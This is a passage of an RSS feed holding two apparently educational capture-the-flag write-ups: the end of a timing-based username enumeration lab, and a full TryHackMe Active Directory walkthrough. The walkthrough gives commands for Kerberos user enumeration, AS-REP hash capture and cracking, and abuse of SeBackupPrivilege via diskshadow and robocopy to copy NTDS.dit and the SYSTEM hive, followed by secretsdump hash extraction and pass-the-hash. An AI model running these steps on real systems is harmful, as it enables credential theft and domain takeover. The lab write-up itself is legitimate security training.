server does extra work like database lookups, while invalid usernames are rejected quickly</li></ul><p><strong>2. Results Analysis:</strong></p><ul><li>The script collects timing data, response size, and displays it for each username tested</li><li>At the end, it sorts all results by response time and shows the top 5 slowest responses</li><li>The username with the significantly longest response time is likely the valid one (the timing difference reveals which usernames exist in the system)</li></ul><h3>Step 6: Run the Enumeration</h3><p>Run the script:</p><pre>python3 &lt;your_filename&gt;.py</pre><p><strong>Output:</strong></p><ul><li>Notice the time difference between the users, the ones who takes the longest is our primary target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*CbcX3M-ljB_SkuO8O_l7mA.png" /><figcaption>Script Output</figcaption></figure><h3>Step 7: Identify the Valid Username</h3><p><strong>Analysis:</strong></p><ul><li>Most usernames responded in 0.5–0.7 seconds</li><li>Four usernames shows significantly longer response time (+1.0 seconds)</li><li>This timing difference indicates additional server-side processing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*K-FJx0qiVvz64nIEdBgrlw.png" /><figcaption>Valid Users</figcaption></figure><ul><li>From the output, we can clearly see it took more than +1.5 seconds to enumerate the username joey.</li><li><strong>Valid Username Found:</strong> Joey</li></ul><h3>Step 8: Verify the Result</h3><p>Verify the discovered username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*Ym9UJhIA9TEN2YIB8ClKFA.png" /></figure><h3>Vulnerability Explanation</h3><h3>What is Username Enumeration?</h3><p>Username enumeration is a vulnerability that allows attackers to determine valid usernames on a system by observing differences in the application’s behavior.</p><h3>How Does Timing-Based Enumeration Work?</h3><ol><li><strong>Valid Username:</strong> Server checks if user exists → Retrieves user data → Processes password → Responds</li><li><strong>Invalid Username:</strong> Server checks if user exists → Immediately responds with error</li></ol><p>The extra processing for valid usernames creates a measurable time difference.</p><h3>Real-World Impact</h3><ul><li>Attackers can compile a list of valid usernames</li><li>Enables targeted password attacks</li><li>Reduces attack surface from all possible usernames to only valid ones</li><li>Can be combined with password spraying attacks</li></ul><h3>Mitigation Recommendations</h3><h3>For Developers:</h3><ol><li><strong>Consistent Response Times</strong></li><li>Implement artificial delays for all authentication attempts</li><li>Use constant-time comparison functions</li></ol><p><strong>Rate Limiting</strong></p><ol><li>Implement request rate limiting per IP</li><li>Use CAPTCHA after multiple failed attempts</li></ol><p><strong>Account Lockout Policies</strong></p><ol><li>Lock accounts after X failed attempts</li><li>Implement temporary lockouts</li></ol><p><strong>Logging and Monitoring</strong></p><ol><li>Log all authentication attempts</li><li>Alert on suspicious patterns (multiple username tests)</li></ol><h3>Lab Completion</h3><p>✅ <strong>Valid Username Discovered:</strong> Joey</p><p>Submit this username to complete the lab challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*p_Y2ioGntyW4302la4uKQA.png" /></figure><p>A little achievement certificate in the end to boost you!</p><h3>Key Takeaways</h3><ol><li>Always test for username enumeration vulnerabilities in authentication systems</li><li>Timing attacks can reveal information even when error messages are generic</li><li>Password reset and “forgot password” features are common enumeration vectors</li><li>Multiple methods exist for enumeration: timing, error messages, HTTP codes, response lengths</li><li>Proper mitigation requires addressing multiple attack vectors simultaneously</li></ol><p><strong>Lab Completed Successfully!</strong> 🎉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbe435b4a8ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fusion Corp — Walkthrough (TryHackMe)]]></title>
            <link>https://medium.com/@usman786faridi/fusion-corp-walkthrough-tryhackme-99c83213caf0?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/99c83213caf0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Tue, 11 Nov 2025 23:03:47 GMT</pubDate>
            <atom:updated>2025-11-14T11:01:52.561Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fusion Corp — Walkthrough (TryHackMe)</h3><p><strong>Target:</strong> 10.10.125.129 (AD / Windows)</p><p><strong>Overview</strong></p><p>This walkthrough documents a complete path to root for the <em>Fusion Corp</em> Active Directory machine on TryHackMe. It covers reconnaissance, user enumeration, credential harvesting and cracking, service authentication checks, initial access via valid credentials, privilege escalation using SeBackupPrivilege and DiskShadow, extracting NTDS and SYSTEM, dumping password hashes, and finally obtaining the Administrator shell and the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*tZ660jzEr3d7au_H0Q-2SQ.jpeg" /><figcaption>Fusion Corp</figcaption></figure><h3>Summary of findings</h3><ul><li>Multiple users were discovered from an <strong>employees.ods </strong>spreadsheet.</li><li><strong>lparker </strong>and <strong>jmurphy </strong>were validated and cracked; their credentials allowed authenticated access to the host via WinRM (evil-winrm).</li><li><strong>jmurphy </strong>had <strong>SeBackupPrivilege</strong>, enabling use of DiskShadow + Robocopy to extract <strong>NTDS.dit</strong> and the SYSTEM hive.</li><li>Extracted hashes were dumped with <strong>impacket-secretsdump</strong>, yielding the Administrator NT hash.</li><li>Administrator access was obtained and the root flag recovered.</li></ul><h3>1 — Reconnaissance</h3><p>Run a full TCP scan with version detection and vulnerability scripts to discover open services and their versions:</p><pre>nmap -p- -A -sV --script vuln 10.10.125.129</pre><p><strong>What to look for:</strong></p><ul><li>Open services (SMB, LDAP, WinRM, etc.)</li><li>Service versions (useful for exploitability and credential targeting)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*OvyDJYLicpAx2XHlVBmAnA.png" /><figcaption><strong>Nmap</strong></figcaption></figure><h3>2 — User enumeration from local files</h3><p>During recon, a file <strong>employees.ods </strong>was discovered that contained employee names. Convert or extract the sheet to plain text and create an <strong>users.txt </strong>list.</p><p>Example tools/methods: I used LibreOffice, you can also use <strong>ssconvert</strong>, or manually exporting to CSV.</p><p><strong>Result:</strong> 11 candidate usernames saved to <strong>users.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*e3m60jKqB9xet_unhY8fZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*hmkhW8GE4cFE5xAbUAY55g.png" /><figcaption><strong>employees.ods</strong></figcaption></figure><h3>3 — Valid username discovery (Kerbrute)</h3><p>To find valid usernames on the domain, <strong>kerbrute </strong>was used against the Kerberos service to enumerate accounts without triggering password lockouts.</p><p>Example command:</p><pre>kerbrute userenum -d FUSION.CORP --dc 10.10.125.129 users.txt</pre><p><strong>Result:</strong> <strong>lparker </strong>discovered as a valid account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*D9yCOSl2CAJK62-GfT30nA.png" /><figcaption><strong>kerbrute</strong></figcaption></figure><h3>4 — Requesting TGTs / extracting NT hash for users</h3><p>Using <strong>Impacket-GetNPUsers</strong>-style approach, a request was made for tickets for users to obtain credential material (depending on configuration). In this case, Impacket returned hashed material we could attempt to crack.</p><pre>impacketGetNPUsers.py &#39;fusion.corp&#39; -dc-ip &lt;TARGET-IP&gt; -usersfile users.txt -outputfile hashes.aspreroast</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9d1FljowFa5YVeFTIHehQ.png" /><figcaption><strong>impacket-GetNPUsers</strong></figcaption></figure><h3>5 — Cracking the hash</h3><p>Use John the Ripper with a wordlist to crack NTLM password hashes.</p><pre>john hashes -w=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> password for <strong>lparker </strong>= <strong>&lt;REDACTED&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dd-hThpwo5nj6ETEF1_5bw.png" /><figcaption>John</figcaption></figure><h3>6 — Checking SMB shares and testing services</h3><p>With valid credentials, enumerate SMB shares and attempt authentication across services to discover where the credentials are accepted.</p><p>I used <strong>netexec </strong>for this, as it has huge list of libraries which can be really helpful in an AD environment.</p><pre># Check shares<br>netexec smb 10.10.125.129 -u &#39;lparker&#39; -p &#39;&lt;REDACTED&gt;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EyPwfHBUl7xX5IiQODSCEA.png" /><figcaption><strong>nxc smb</strong></figcaption></figure><ul><li>From the results we can see, the user <strong>lparker </strong>is a member of remote admin, which means we can use <strong>evil-winrm</strong>.</li><li>The user <strong>lparker</strong> only have “read” permission, so we will move on and try <strong>--users</strong>, to see if there are any other users who are related to <strong>lparker</strong></li></ul><pre>netexec smb 10.10.125.129 -u &#39;lparker&#39; -p &#39;&lt;REDACTED&gt;&#39; --users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2auW0Lp1MsQmfZPBnIeyg.png" /><figcaption>nxc users</figcaption></figure><ul><li>We can see we got hit with some good results and even a hash for the user <strong>jmurphy</strong>.</li><li>Sometimes the credentials to the <strong>user </strong>are written in description by default.</li><li>So, its best practice to test other <strong>protocols </strong>as well</li></ul><pre>#You can also check multiple services using a file of valid users/passwords<br>netexec winrm 10.10.125.129 -u valid_users -p pass --continue-on-success<br>netexec ldap 10.10.125.129 -u valid_users -p pass --continue-on-success</pre><p><strong>Result:</strong> Both <strong>lparker </strong>and <strong>jmurphy </strong>accepted on WinRM; <strong>jmurphy </strong>credentials were especially valuable as they had interesting privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRoN4P_0lrEoqPAQj_nY8Q.png" /><figcaption><strong>nxc ldap</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PavWbcOgxLa7dzOZ1K7JKQ.png" /><figcaption><strong>nxc winrm</strong></figcaption></figure><ul><li>we can clearly see from the results, that we are able to <strong>pawn </strong>both the users.</li></ul><h3>7 — Initial access via evil-winrm</h3><p>Login using <strong>evil-winrm</strong> to obtain an interactive shell on the Windows host.</p><pre># as lparker<br>evil-winrm -i 10.10.125.129 -u lparker -p &#39;&lt;REDACTED&#39;</pre><pre># as jmurphy<br>evil-winrm -i 10.10.125.129 -u jmurphy -p &#39;PasswordFromEnumeration&#39;</pre><p>Collect user flags and enumerate basic environment details (host name, OS version, user privileges, accessible files).</p><h3>Lparker</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*Gusu4T0e4XeB6ZpcHem1bg.png" /><figcaption><strong>evil-winrm</strong></figcaption></figure><h3>Jmurphy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*rJjppDmKClnyrAbKAvBwGQ.png" /><figcaption><strong>Evil-winrm</strong></figcaption></figure><h3>8 — Privilege enumeration</h3><p>On the <strong>jmurphy</strong> shell, enumerate privileges and groups. Tools and commands:</p><pre>whoami /priv<br>whoami /all<br>net user jmurphy</pre><p><strong>Findings:</strong> <strong>SeBackupPrivilege </strong>was present for <strong>jmurphy</strong>. This privilege allows creating a backup of system volume(s) and reading files regardless of permissions — a canonical path to steal the <strong>NTDS.dit </strong>database and the SYSTEM hive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7mRrKowIRJo2gYGmWZ2UA.png" /><figcaption><strong>whoami /priv</strong></figcaption></figure><h3>9 — Using DiskShadow to expose volume and extract NTDS</h3><p>Because <strong>SeBackupPrivilege </strong>allows backup operations, we can use Windows <strong>diskshadow </strong>to create a snapshot and expose the C: volume to a drive letter.</p><p><strong>DiskShadow script (</strong><strong>viper.dsh)</strong></p><pre>set context persistent nowriters<br>add volume c: alias viper<br>create<br>expose %viper% x:</pre><p>Convert to DOS line endings if needed (<strong>unix2dos viper.dsh</strong>), upload &amp; run with elevated permissions in a folder you can write to such as, (<strong>C:\Windows\Tasks</strong>) to avoid permission issues.</p><pre>diskshadow /s viper.dsh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*fiK7JrT4BOHXx1EUlbFeVA.png" /><figcaption><strong>uploading .dsh</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*iCqHIgC96XfCuw2E_buRsg.png" /><figcaption><strong>Diskshadow</strong></figcaption></figure><p>After the volume is exposed as <strong>X:\</strong>, use <strong>robocopy </strong>in backup mode to copy <strong>ntds.dit</strong> and save the SYSTEM hive via <strong>reg save</strong>:</p><pre>robocopy /b x:\windows\ntds . ntds.dit<br>reg save hklm\system c:\windows\tasks\system</pre><h3>Robocopy results</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*zCVjbgrYSOvEwAtzsdcoKg.png" /><figcaption>robocopy</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*ifIttD_vwBHmn9lvLmGecA.png" /></figure><h3>Reg save results</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*Xz2Ry2KUQfz_yZ2h5X52iQ.png" /><figcaption>HKLM/save</figcaption></figure><h3>10 — Download NTDS.dit and SYSTEM to attacker machine</h3><p>From the <strong>evil-winrm </strong>session, use the built-in <strong>download </strong>command file transfer methods to pull <strong>ntds.dit</strong> and the <strong>system</strong> file to the attacker host for offline cracking/dumping.</p><pre># evil-winrm example<br>download ntds.dit<br>download system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*0n3inh22ZgjbEHGovcsTCw.png" /><figcaption>NTDS.dit</figcaption></figure><h3>11 — Extracting password hashes from NTDS.dit</h3><p>Use Impacket’s <strong>secretsdump</strong> to extract NTLM hashes from the dumped files:</p><pre>impacket-secretsdump -ntds ntds.dit -system system local</pre><p><strong>Result:</strong> Extracted NT hashes for accounts, including Administrator. Example Administrator NT hash discovered:</p><pre>Administrator: &lt;REDACTED&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*3w8xiCkfvytGq3s1hp2Qbw.png" /><figcaption>Impacket-secretsdump</figcaption></figure><h3>12 — Using the Administrator hash to obtain a shell</h3><p>Pass-the-hash technique (evil-winrm with hash) were used to get an Administrator shell.</p><p>Using <strong>evil-winrm </strong>with a hash (tool dependent):</p><pre># If supported by your client<br>evil-winrm -i 10.10.125.129 -u Administrator -H &#39;REDACTED&#39;</pre><p><strong>Outcome:</strong> Administrator shell acquired; user captured Administrator flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*49BIaWXjwZoUGyDCZsduUg.png" /><figcaption>Administrator</figcaption></figure><h3>Closing notes</h3><p>This walkthrough is intended for educational purposes and lab environments only (TryHackMe). Never perform these actions against systems you do not own or have explicit authorization to test.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99c83213caf0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>